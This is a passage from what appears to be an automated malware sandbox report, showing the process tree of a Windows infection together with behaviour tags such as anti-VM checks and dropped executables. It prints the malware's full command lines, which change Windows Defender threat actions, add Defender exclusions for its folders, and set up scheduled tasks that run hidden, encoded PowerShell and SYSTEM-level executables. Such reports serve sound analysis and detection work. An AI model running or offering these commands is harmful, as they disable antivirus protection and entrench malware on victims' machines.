                                                                                      • C:\Windows\system32\gpupdate.exe
                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                        2⤵
                                                                                          PID:4064
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                        1⤵
                                                                                          PID:3120
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                          1⤵
                                                                                            PID:764
                                                                                          • C:\Windows\system32\gpscript.exe
                                                                                            gpscript.exe /RefreshSystemParam
                                                                                            1⤵
                                                                                              PID:800
                                                                                            • C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
                                                                                              1⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:3988
                                                                                            • C:\ProgramData\Mslprojector\WlndowsDraiver-Ver2.5.5.8.exe
                                                                                              C:\ProgramData\Mslprojector\WlndowsDraiver-Ver2.5.5.8.exe
                                                                                              1⤵
                                                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                              • Executes dropped EXE
                                                                                              • Checks BIOS information in registry
                                                                                              • Checks whether UAC is enabled
                                                                                              PID:4852
                                                                                            • C:\Windows\system32\WerFault.exe
                                                                                              C:\Windows\system32\WerFault.exe -pss -s 472 -p 4424 -ip 4424
                                                                                              1⤵
                                                                                                PID:1864
                                                                                              • C:\Users\Admin\AppData\Local\Temp\FomiwILaecWgGNOLA\UxpymuaMygfozov\NbuyrFd.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\FomiwILaecWgGNOLA\UxpymuaMygfozov\NbuyrFd.exe kl /site_id 385107 /S
                                                                                                1⤵
                                                                                                • Executes dropped EXE
                                                                                                • Drops file in System32 directory
                                                                                                PID:4748
                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                                                                                                  2⤵
                                                                                                  • Drops file in System32 directory
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:1068
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                    3⤵
                                                                                                      PID:2180
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                        4⤵
                                                                                                          PID:4616
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                        3⤵
                                                                                                          PID:4336
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                          3⤵
                                                                                                            PID:2012
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                            3⤵
                                                                                                              PID:2336
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                              3⤵
                                                                                                                PID:4620
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:3536
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:2644
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                    3⤵
                                                                                                                      PID:4708
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                      3⤵
                                                                                                                        PID:3572
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                        3⤵
                                                                                                                          PID:4480
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                          3⤵
                                                                                                                            PID:1084
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                            3⤵
                                                                                                                              PID:4356
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:5104
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                3⤵
                                                                                                                                  PID:4552
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                  3⤵
                                                                                                                                    PID:3284
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                    3⤵
                                                                                                                                      PID:4192
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                      3⤵
                                                                                                                                        PID:4292
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:4688
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:924
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                            3⤵
                                                                                                                                              PID:4472
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:3140
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:1040
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                  3⤵
                                                                                                                                                    PID:3824
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                    3⤵
                                                                                                                                                      PID:3744
                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                    powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\EqfDIhLUOuAU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\EqfDIhLUOuAU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bUnTyWxqoVMNmzCpZNR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bUnTyWxqoVMNmzCpZNR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nWqLCKNYOCKLC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nWqLCKNYOCKLC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\sDZzDwaoU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\sDZzDwaoU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zFCBYkQYpDUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zFCBYkQYpDUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\tcytjYddvuQvqLVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\tcytjYddvuQvqLVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\FomiwILaecWgGNOLA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\FomiwILaecWgGNOLA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\MJuhmGroQWBIVyTj\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\MJuhmGroQWBIVyTj\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                    2⤵
                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    PID:3128
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EqfDIhLUOuAU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3772
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EqfDIhLUOuAU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                          4⤵
                                                                                                                                                            PID:1148
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EqfDIhLUOuAU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                          3⤵
                                                                                                                                                            PID:1248
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bUnTyWxqoVMNmzCpZNR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:3356
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bUnTyWxqoVMNmzCpZNR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                              3⤵
                                                                                                                                                                PID:3912
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nWqLCKNYOCKLC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:1712
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nWqLCKNYOCKLC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:4512
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\sDZzDwaoU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:4812
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\sDZzDwaoU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:216
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zFCBYkQYpDUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:2652
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zFCBYkQYpDUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:4548
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\tcytjYddvuQvqLVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:1332
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\tcytjYddvuQvqLVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:4576
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\FomiwILaecWgGNOLA /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:964
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\FomiwILaecWgGNOLA /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:2452
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\MJuhmGroQWBIVyTj /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:5068
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\MJuhmGroQWBIVyTj /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:392
                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                      schtasks /CREATE /TN "gAYWYWifK" /SC once /ST 18:01:36 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                      PID:4724
                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                      schtasks /run /I /tn "gAYWYWifK"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:2132
                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                        schtasks /DELETE /F /TN "gAYWYWifK"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:1532
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /CREATE /TN "ckXwTgLLPEtUwbToA" /SC once /ST 09:33:24 /RU "SYSTEM" /TR "\"C:\Windows\Temp\MJuhmGroQWBIVyTj\cajiNWOIQNwNBJs\OMKHFdR.exe\" At /site_id 385107 /S" /V1 /F
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                          PID:2760
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /run /I /tn "ckXwTgLLPEtUwbToA"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:4812
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
                                                                                                                                                                                          1⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          PID:376
                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                          1⤵
                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                          PID:4620
                                                                                                                                                                                          • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:4356
                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:1288
                                                                                                                                                                                            • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                              gpscript.exe /RefreshSystemParam
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:3112
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe"
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                                                                PID:4984
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir4984_2064927614\ChromeRecovery.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir4984_2064927614\ChromeRecovery.exe" --appguid={8A69D345-D564-463c-AFF1-A69D9E530F96} --browser-version=89.0.4389.114 --sessionid={13285b6f-aeaa-4c31-ba2d-b62070944a39} --system
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  PID:1088
                                                                                                                                                                                              • C:\Windows\Temp\MJuhmGroQWBIVyTj\cajiNWOIQNwNBJs\OMKHFdR.exe
                                                                                                                                                                                                C:\Windows\Temp\MJuhmGroQWBIVyTj\cajiNWOIQNwNBJs\OMKHFdR.exe At /site_id 385107 /S
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                                                • Drops Chrome extension
                                                                                                                                                                                                • Drops desktop.ini file(s)
                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                PID:3868
                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                  schtasks /DELETE /F /TN "bnNSajhVxJSdGghoLZ"
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:1996
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
